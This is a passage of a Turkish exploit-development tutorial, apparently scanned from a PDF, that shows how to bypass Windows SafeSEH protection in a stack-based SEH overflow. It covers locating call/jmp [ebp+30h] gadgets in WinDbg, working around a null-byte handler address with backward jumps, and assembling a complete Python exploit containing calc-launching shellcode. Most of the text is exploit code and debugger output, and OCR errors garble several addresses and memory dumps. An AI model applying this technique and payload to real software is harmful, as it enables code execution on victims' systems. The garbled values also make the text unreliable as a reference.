SafeSEH kapaliysa bu adresi exploitde kullanabiliriz. Fakat soyle bir sey var, o
zaman exploitinizin alani kuculmus olacak. Lakin statik dosyalar sistemden sisteme
degisebiliyor. Yani Windows XP'de hafizada olan bir modul, 7'de olmayabilir. Bu da
demektir ki yazdiginiz exploit yalnizca belirli bir isletim sisteminde ¢alisabilir.

SafeSEH Korumasinin Zafiyetli Modiil ile Atlatilmasi

Giriste bahsettigimiz gibi bu korumayi atlatmanin yollarindan biri programin
kullandigi modulleri yahut bu modullerin disinda hafizada olan bir moduli
inceleyip onlarin SafeSEH korumasinin olup olmadigini 6grenmek. Bu konuda bir
ornek yapmayacagim zira oldukga acik bir sey. Yapmaniz gereken sey Immunity
yahut OllyDbg yardimiyla programin kullandigi modul dosyalarinin SafeSEH
korumali olup olmadigini incelemek. Ornegin Immunity Debugger'da !pvefindaddr
jseh yahut !'mona seh komutlariyla kullanilan moduller arasinda eger SafeSEH
kapali olan bir modul varsa o modul icerisinde pop pop ret arayabilir, ve bu U¢luyu
klasik SEH exploitinizi yazmak icin kullanabilirsiniz. Ayrica OllyDbg i¢in SafeSEH
eklentisini kullanabilir, yine ayni sekilde modullerin SafeSEH durumunu kontrol



edebilirsiniz. Ve yine unutmayin ki yalnizca modul degil, bu hafizada olan bir sistem
dosyasi dahi olabilir. Fakat dedigimiz gibi, bu exploitinizin calisma alanini
daraltacaktir lakin hafizadan aldiginiz instruction setiniz yalnizca o isletim
sisteminde calisan bir dosyada olabilir. O yuzden bu yontem pek tavsiye edilmiyor.

SafeSEH Korumasinin SEH ile Atlatilmasi

Bu duruma alternatif olarak bir baska yol daha var, ve bu yol digerinden daha iyi
sonuglar verebiliyor. Bunun icin asagida listeledigimiz instructionlardan birine
ihtiyaciniz olacak.

call dword ptr[esp+nn]
e jmp dword ptr[esp+nn]
 call dword ptr[ebp+nn]
e jmp dword ptr[ebp+nn]
 call dword ptr[ebp-nn]
e jmp dword ptr[ebp-nn]

nn degerinin pozitif degerleri icin esp + 8,14,1¢,2¢,44,50; ebp i¢in 0c,24,30
negatifler ebp icin ise 04,0c,18'e bakilabilir. Simdilik bunlarin neyi gosterdigine
takilmayin, yaziyr okudukca bu adreslerde ne oldugunu hep birlikte gorecegiz.

Ayrica bunlara alternatif olarak eger bizim exception_registration yapimiz esp+8
adresine takabul ediyorsa yine pop pop ret uUglusunu kullanabiliyor oluyoruz.
Lakin eger bu yap! esp+8de ise, o halde iki pop kullanip esp+8 adresine gelebilir,
ardindan ret kullanarak Next SEH adresini elde edebiliriz. Fakat yine bu uclu
yuklenen modullerin disinda, SafeSEH korumasi kapali bir adreste olmali. Ayrica
eger bahsettigimiz durum so6z konusu ise, bir baska alternatif olarak add esp+8 ret
ikilisi de SafeSEH korumasini gecebilir demektir. Simdi yavasca bu korumanin
atlatilmasi kismina gelelim.

Oncelikle yine bir énceki programdan devam edecegiz. Fakat bu defa programi link
islemine sokarken argumanlarimiz arasinda /SAFESEH olacak. -:NO kaldiriyoruz- Bu
sayede SafeSEH'i aktif etmis olacagiz. Simdi biraz ne yapabiliriz konusunda
konusalim.



Simdi, ilk olarak yine SEH overflow icin gereken taslak python exploitimizi gorelim.

cokertkaarsim
cokertkaarsim
cokertkaarsim

cokertkaarsim

"A" x 528

"BBBB" #Next SEH
"ccee” #SE Handler
"D" * 400

Onceki exploitin gévdesinin ilk hali bu. Simdi bunun Gzerinden yiriyecegiz. Bu iki

alana yazmak istedigimiz instructionlari bulmamiz gerek. Derledigimiz programda

SafeSEH korumasi acik, ayrica diger modullerde de agik. Bu demektir ki bu

modullerin bulundugu adresleri kullanamayiz. O halde hafizada arama yapacagiz

demektir. Bunu isterseniz Immunity debuggerda bulunan pvefindaddr yahut mona

eklentisiyle ya da Windbg ile yapabilirsiniz. Ben Windbg kullanmayi daha eglenceli

buluyorum.

Programi Windbg ile acip crashi olusturduktan sonra kullanabilecegimiz aramaya

baslayalim. Bu yazida ebp+30'u kullaniyoruz. Oncelikle bunun opcodeunu bulalim.

0:000> a

5353106f call dword ptrlebp+0x30]
call dword ptr[ebp+0x30]

53531072 jmp dword ptr[ebp+0x30]
jmp dword ptr[ebp+0x30]

0:000> u 5353106f

image53530000+0x106f :

5353106f ff5530
53531072 ff6530

call dword ptr [ebp+30h]
jmp dword ptr [ebp+30h]

Simdi, opcode degerlerimizi bulduk, ff 55 30 ve ff 65 30. Akabinde s komutunu
kullanarak hafizada arama yapalim.



0:000> s 0000000 77fffff ff 55 30
00270bob ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e

uo...... Wo.....

0:000> u 00270b0b
00270b0b ff5530 call dword ptr [ebp+30h]
00270b0e 0000 add byte ptr [eax],al
00270b10 0000 add byte ptr [eax],al

00270b0b adresinde aradigimiz instruction var. Bu adresin nereye ait oldugunu
ogrenmek icin Immunity yahut Olly debuggerda ALT+M kisayolu ile hafizaya
bakabilirsiniz. Ornegin:

yicesHarddiskUo lume 1~WIMOOWS

Ayrica, drnegin herhangi bir uzukluktaki tim degerleri bulmak i¢in opcode
icerisindeki 30 olmadan arama yapabilirsiniz. Yine bir ornek vermek gerekirse:

0:000> s 0000000 77fffff ff 55

0014c366 ff 55 ca 3a c8 d1 35 6a-e2 03 87 b2 78 f3 48 0b
UL 5], .. x.H.

00267643 ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3

Uia . TW. . XL ..

00270bob ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e
uo...... Wo.....
0:000> u 00267643

00267643 ff55ff call dword ptr [ebp-1]
0:000> u 0014c366

0014c366 ff55ca call dword ptr [ebp-36h]

Fakat bu diger iki adres bizim isimizi gormuyor, aradigimiz degere sahip degil.
Mesela ornegin eger burada 005353xxxx seklinde bir deger olsa da isimize
yaramayacakti, lakin bu bizim dosyamizin icinde demek oluyor. Yani SafeSEH aktif.



Devam edelim, burada karsimiza ¢ikacak olan tek sorun buldugumuz adresin null
byte iceriyor olmasi. (00) null byte degeri ayrica string degerlerini sonlandirdigi icin
bu demek oluyor biz SEH Uzerine yazdiktan sonra shellcodumuzu stacke
yazamayacagiz, cunku strycpy () bu null byte'i gorecek ve kopyalamanin bittigini
dusunecek.

Bunun Ustesinden bir iki yolla gelmek mimkin. Ornegdin eger shellcodemuzu SEH'i
yazmadan once yazarsak bu sorunu gecgebiliriz. Akabinde ileriye atlamak i¢in jmp
kullanmak yerine geriye atlayan bir jmp kullanabiliriz. Veyahut unicode shellcode
kullanirsak bu sorunu yine asabiliriz lakin unicode degerlerinde @@ stringi
sonlandirmaz, 2@ 00 sonlandirir.

Simdi klasik olarak exploiti yazmaya devam ediyoruz. Bu defa klasik SEH
exploitleme isimize yaramayacagi icin Next SEH Uzerine breakpoint (cc), SE Handler
uzerine de buldugumuz adresi yazalim.

cokertkaarsim = "A" * 528
cokertkaarsim += "\xcc\xcc\xcc\xcc” #breakpoint
(Next seh)

cokertkaarsim += struct.pack('<I’', 0x00270b0ob) #call dword
ptr [ebp+30h] (SE Handler)

cokertkaarsim += "D" * 1500 #junk

Tekrar calistirip Windbg Uzerinde durum kontrolu yapalim.

0:000> g
(a80.b00): Break instruction exception - code 80000003 (first
chance)
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c9032bc esi=00000000
edi=00000000 eip=0012fd98 esp=0012f7a0 ebp=0012f7c4
0012fd98 cc int 3
0:000> !exchain
0012f7b8: ntdll!ExecuteHandler2+3a (7c9032bc)
0012fd98: 00270bob



Invalid exception stack at cccccccc
:000> d 0012fd70

0012fd70
0012fd8e
0012fd90
0012fda@
0012fdbo
0012fdco
0012fddo
0012fde0

41414141
41414141
41414141
0b34fc31
003540c0
b8220002
00000784
02020202

41414141
41414141
41414141
00000000
00000000
00000000
003540c0
5366957

41414141
41414141
CCCcCcccc
0012ff78
00000220
00000000
00000800
206b636f

41414141
41414141
00270bob
5353130e
00000720
00000000
00650078
00302e32

Bakin gordugunuz tzere her sey dogru ilerliyor. Next SEH degerini cc ile, SE
Handler'i da adresimiz ile yazdik. Fakat dostlar, cok dikkat etmeniz gereken bir sey
var. Bizim exploitimizde 1500 adet D eklemistik ? Nerde bunlar ? Bu ne lahana
tursusu ? Hemen Immunity Debugger ile bakalim.

‘ointer to nedt SEH recory

E handler

Bakin, dedigimiz gibi. Null byte sorunu yuzunden kopyalama durmus durumda.
Simdi bunu cebe atalim ve unutmadan devam edelim. Sunu once bir anlayalim,
neden ebp+3@ ? Ne var burada ? Merak edilir degil mi ? Bakalim hemen ne var, ne
oluyor diye.

0:000> !exchain
0012f7b8: ntdll!ExecuteHandler2+3a (7c9032bc)
0012fd98: 00270b0ob

Invalid exception stack at cccccccc



0012f7f4
00121804
00121814
00121824
00121834
00121844
00121854
00121864

0:000> d ebp+30

0012fd98
0190f6ee
00030000
00121620
7¢c91ae40
7¢96fdd8
00000000
00630054

:000> d 0012fd98

0012fd98
0012fda8
0012fdb8
0012fdc8
0012fdd8
0012fde8
0012fdf8

CCCcCcCccce
0012ff78
0000074
00000000
00000800
206b636f
1b1a1918

0012f8a8
0012f88c
00350178
00142008
FRFFFFFF
00350608
00350000
00130000

00270bob
5353130e
00000720
00000000
00650078
00302e32
1fl1eldilc

00121860
0190f7b2
00001018
0012f8b0
7c91ae3a
7c96fdbc
00630069
0012c000

e28chb364
003540c0
b8220002
00000784
02020202
13121110
23222120

00270b0b
7¢c96f31f
00350000
7¢c90e920
0012f8c0
00350000
005c0065
00143b50

00000000
00000000
00000000
003540c0
536€6957
17161514
27262524

0:000> u
0012fd98
0012fd99
0012fd9a
0012fd9b
0012fd9c
0012fd9e

0012fd98

int
int
int

w w w w

int
or ecx,dword ptr [ebx]

daa

Sanirim anladiniz. Bir nevi klasik SEH exploitinde yaptigimiz seyi yaptik. ebp+30
adresinde gordugunuz Uzre 0012fd98 yani bizim Next SEH degerimiz var. Yani
simdi yapamiz gereken sey Next SEH( su an cc ile dolu) Uzerine ne yazmamiz
gerektigini bulmak. Fakat dedigimiz gibi, bunun i¢in null karakter sorununu
¢ozmemiz gerekiyor. Haydi o halde! Mantigimiz basit aslinda, madem ki SEH
uzerine yazdiktan sonra shellcode degerimiz (su an D harfleri) yazilmiyor, o halde
once D'leri yazalim, ardindan SEH'i yazalim. Yani suna benzer bir yapimiz oluyor :




NOPLAR |

Shellcode |

Next SEH |

oo

Onceki mantigin biraz degisigi. Bu defa dnce nop ve shellcodeu yaziyor, ardindan
SEH Uzerine yaziyoruz. Simdi yapmamiz gereken sey ise Next SEH'den dnce, yani
shellcodeun hemen altina NOPlarin bulundugu kisma atlayan bir jmp kodu yazmak,
ardindan Next SEH usttne de bu jmp koduna atlayan bir jmp kodu yazmak. Bu
sayede SE Handler Uzerine yazdigimiz call ebp+3@ bizi tekrar Next SEH'e, Next
SEH ise bizi noplara atlayan jmp instructionuna, bu atlama kodu da bizi haliyle

shellcode’a getirecek. Yani su sekilde olacak:

NOPLAR | <—--—-- |

| JMP TO NOP |<-| ----
| 1
| Next SEH | -- <-|

Simdi bu isi koda dokelim bakalim. Simdi burada biraz kafa karisikligi



yasayabilirsiniz. Oncelikle bizim Shellcodemuzun sonunda olan jmp'a atlamak icin 7
bytelik bir back jmp opcodeuna ihtiyacimiz var. Bu EB F9 opcodu ile bunu
yapabiliyoruz. Ardindan shellcodemuzun sonuna bizim en basta bulunan noplara
atlamizi saglayacak bir back jump daha yazmamiz gerekiyor. Bunu bulmak igin
Immunity debugger kullanacagiz. Simdi, Oncelikle buraya kadari icin gereken
python scriptini gorelim.

boyut = 524 #524 oldu
lakin alta 4 byte jmp kodu ekledik

cokertkaarsim = "\x90" % 24

cokertkaarsim += "\xcc\xcc” #Shellcode

buraya gelecek
cokertkaarsim += "\x90" * (boyut-len(cokertkaarsim ))#SEH'e
kadar NOP ekleyelim

cokertkaarsim += "\xcc\xcc\xcc\xcc” #Yeni Jump
(528-4)

cokertkaarsim += "\xeb\xf9\x90\x90" #Jump Back
7 Byte (Next SEH)

cokertkaarsim += struct.pack('<I’', 0x00270bob) #call dword

ptr [ebp+30h] (SE Handler)

Simdi programi Immunity debuggerda agip exploiti calistiriyoruz, ardindan CTRL+G
ile 0012fd98 adresine gidiyoruz. Burada bizim Jump back 7 byte bulunuyor, yani
next seh. Ardindan Buranin adresi ile, shellcodemuzun Ustinde bulunan noplarin
adresi arasindaki farki bulup, bunu opcodeunu olusturuyoruz.

Adreste sOyle bir sey gormeniz gerekiyor:

0012FD96 CC INT3

0012FD97 CC INT3  ---> Buraya NOPlara giden JUMP
gelecek

-> Q012FD98 *EB F9 JMP SHORT 0012FD93

Q012FD9A 90 NOP

0012FD9B 90 NOP



@@12FD97 adresi bizim exploitimizde Yeni Jump diye gecen kisim. Yani bu adresten
shellcodemuzun oldugu adrese olan uzunlugu bulmaliyiz. Yine Immunity
araciligiyla yukariya dogru cikip shellcodemuzu buluyoruz ardindan son islemleri

yapacagiz.

AOD BVTE FTR DSt [EHR+3EA89E36] , 0L

GOrdugunuz uzre bizim shellcodemuz 0@12FBA® adresinde basliyor. Bunun
uzerinden bir alan seciyorum(0012FB94) ve simdi buraya olan uzunlugu
hesapliyoruz : @x0012FB94-0x0012FD97=-0x203 = 515 byte ardindan 0012FD98
adresine gidip, onun uzerinde bulunan yere jmp kodumu yaziyor(space) ve opcode

dederini ogreniyorum.

MHIOE

[~

Azzemble Cancel |

Erl
0 PTR DSz [EEH]

AOD EL,AH
POE" SHORT @@ 12FDEF

Opcode degeri E9 F8FDFFFF, dikkat ederseniz bu deger 5 byte. Yani bu demektir ki
boyut kismi olan 524'l da bir azaltip 523 yapacagiz. Simdi son hamlemizi yapip
bulduklarimizi exploite yerlestiriyoruz ve denememizi yapiyoruz. Son kez



523

cokertkaarsim

boyut =

cokertkaarsim
shellcode

cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
cokertkaarsim
JMP 515 bayt

cokertkaarsim

exploitimizi gorelim.

+=

+=

"\x90" * 24
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"

"\x90" * (boyut-len(cokertkaarsim ))

"\xe9\xf8\xfd\xff\xff"

"\xeb\xf9\x90\x90"

JMP 7 bayt (Next SEH)
cokertkaarsim += struct.pack('<I', 0x00270b0ob)
dword ptr [ebp+30h]

Ve nihayet exploiti calistiriyoruz ve durumu goruyoruz.

f#tcalc.exe

#Geriye

#Geriye

#call



Regizsters (FPLUI

FFFFFFFF)
FFFFFFFF]

TDmo M mmmmmmmm
[

H
H
H
H
H
H
H
H
H
H
H
H

I

Address [Hex dum

Gordugunuz uzre EDI yazmacinda CreateProcessA var, stacke bakarsaniz
argimanlarinda da calc oldugunu gorebilirsiniz. Yani exploitimiz basari ile calisti.

Tesekkur

Oldukca uzun bir yazi oldu. Faydali olmasini umuyorum. Ayrica tamamini okuma
sabrini ve merakini gosteren herkese tesekkur ederim. Ayrica yazida tabii ki hatalar,
yanlistiklar olabilir, bildirimde bulunursaniz boylece ben de duzeltebilmis olurum.
Sevgiler.
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